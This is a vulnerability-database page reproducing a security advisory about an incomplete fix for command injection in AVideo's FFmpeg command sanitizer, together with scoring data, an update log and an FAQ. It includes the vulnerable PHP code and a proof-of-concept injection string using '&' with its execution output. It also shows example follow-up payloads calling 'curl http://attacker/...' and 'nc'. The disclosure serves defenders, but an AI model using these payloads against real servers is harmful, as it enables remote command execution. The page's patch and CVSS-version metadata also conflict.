CVE-2026-55173

HIGHPre-NVD 8.18.1
EchelonGraph scoreHIGH confidence

Score 8.1 from GitHub Security Advisory (severity: HIGH) published 2026-06-23. the CNA's CVSS baseline 8.1; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: cna:github_m, ghsa
8.1
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 8.1Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink

Summary

The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.

Verified at master HEAD.

The surviving gap

HEAD sanitizeFFmpegCommand (functions.php):

$command = str_replace('&&', '', $command);                    // only the doubled form
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);  // strips '&' only when followed by '>'
$command = preg_replace('/[;|<>$()\n\r{}]/', '', $command);   // char class has no '&'
// then requires the result to start with 'ffmpeg'
A single & is therefore preserved. ffmpeg ... & passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.

Sink (unchanged)

plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:

$command = addcslashes($command, '"');   // line 686 — escapes only the double-quote
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";  // line 705
exec($commandWithKeyword, ...);          // line 712 — PHP exec() runs via /bin/sh -c
The sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.

Reachability

ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).

Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)

Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:

attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
ampersand survived : YES   passes prefix : YES
final sh -c string:
  nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)
The sanitizer leaves & intact and the injected touch runs at the sink.

Impact

Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.

Remediation

Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set — but the denylist approach has now missed two metacharacters in a row ($() then &`).

CVSS v3
8.1
EG Score
8.1(high)
EPSS
KEV
Not listed

Published

June 23, 2026

Last Modified

June 23, 2026

Vendor Advisories for CVE-2026-55173(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFixed in / PatchReleasedSource
composerwwbn/avideoghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(1)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 28× in last 7d / 56× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-06 18:42 UTCEG score recompute
  2. 2026-07-06 18:42 UTCGHSA enrichment
  3. 2026-07-06 06:24 UTCEG score recompute
  4. 2026-07-06 06:24 UTCGHSA enrichment
  5. 2026-07-05 18:53 UTCEG score recompute
  6. 2026-07-05 18:53 UTCGHSA enrichment
  7. 2026-07-05 07:23 UTCEG score recompute
  8. 2026-07-05 07:23 UTCGHSA enrichment
  9. 2026-07-04 19:51 UTCEG score recompute
  10. 2026-07-04 19:51 UTCGHSA enrichment
  11. 2026-07-04 08:21 UTCEG score recompute
  12. 2026-07-04 08:21 UTCGHSA enrichment
  13. 2026-07-03 20:47 UTCEG score recompute
  14. 2026-07-03 20:47 UTCGHSA enrichment
  15. 2026-07-03 09:15 UTCEG score recompute
  16. 2026-07-03 09:15 UTCGHSA enrichment
  17. 2026-07-02 21:45 UTCEG score recompute
  18. 2026-07-02 21:45 UTCGHSA enrichment
  19. 2026-07-02 10:15 UTCEG score recompute
  20. 2026-07-02 10:15 UTCGHSA enrichment
  21. 2026-07-01 22:45 UTCEG score recompute
  22. 2026-07-01 22:45 UTCGHSA enrichment
  23. 2026-07-01 11:16 UTCEG score recompute
  24. 2026-07-01 11:16 UTCGHSA enrichment
  25. 2026-06-30 23:46 UTCEG score recompute
Show 31 more
  1. 2026-06-30 23:46 UTCGHSA enrichment
  2. 2026-06-30 11:59 UTCEG score recompute
  3. 2026-06-30 11:59 UTCGHSA enrichment
  4. 2026-06-30 00:28 UTCEG score recompute
  5. 2026-06-30 00:28 UTCGHSA enrichment
  6. 2026-06-29 12:59 UTCEG score recompute
  7. 2026-06-29 12:59 UTCGHSA enrichment
  8. 2026-06-29 01:29 UTCEG score recompute
  9. 2026-06-29 01:29 UTCGHSA enrichment
  10. 2026-06-28 13:59 UTCEG score recompute
  11. 2026-06-28 13:59 UTCGHSA enrichment
  12. 2026-06-28 02:30 UTCEG score recompute
  13. 2026-06-28 02:30 UTCGHSA enrichment
  14. 2026-06-27 15:00 UTCEG score recompute
  15. 2026-06-27 15:00 UTCGHSA enrichment
  16. 2026-06-27 03:29 UTCEG score recompute
  17. 2026-06-27 03:29 UTCGHSA enrichment
  18. 2026-06-26 15:45 UTCEG score recompute
  19. 2026-06-26 15:45 UTCGHSA enrichment
  20. 2026-06-26 04:16 UTCEG score recompute
  21. 2026-06-26 04:16 UTCGHSA enrichment
  22. 2026-06-25 16:46 UTCEG score recompute
  23. 2026-06-25 16:46 UTCGHSA enrichment
  24. 2026-06-25 05:16 UTCEG score recompute
  25. 2026-06-25 05:16 UTCGHSA enrichment
  26. 2026-06-24 17:46 UTCEG score recompute
  27. 2026-06-24 17:45 UTCGHSA enrichment
  28. 2026-06-24 05:54 UTCEG score recompute
  29. 2026-06-24 05:54 UTCGHSA enrichment
  30. 2026-06-23 18:21 UTCEG score recompute
  31. 2026-06-23 18:21 UTCGHSA enrichment

Frequently asked(4)

What is CVE-2026-55173?
CVE-2026-55173 is a high vulnerability published on June 23, 2026. AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink Summary The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that…
When was CVE-2026-55173 disclosed?
CVE-2026-55173 was first published in the National Vulnerability Database on June 23, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55173?
CVE-2026-55173 has a CVSS v4.0 base score of 8.1 (CNA self-assessment; NVD's own analysis pending).
How do I remediate CVE-2026-55173?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55173, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55173

Explore →

Is Your Infrastructure Affected by CVE-2026-55173?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.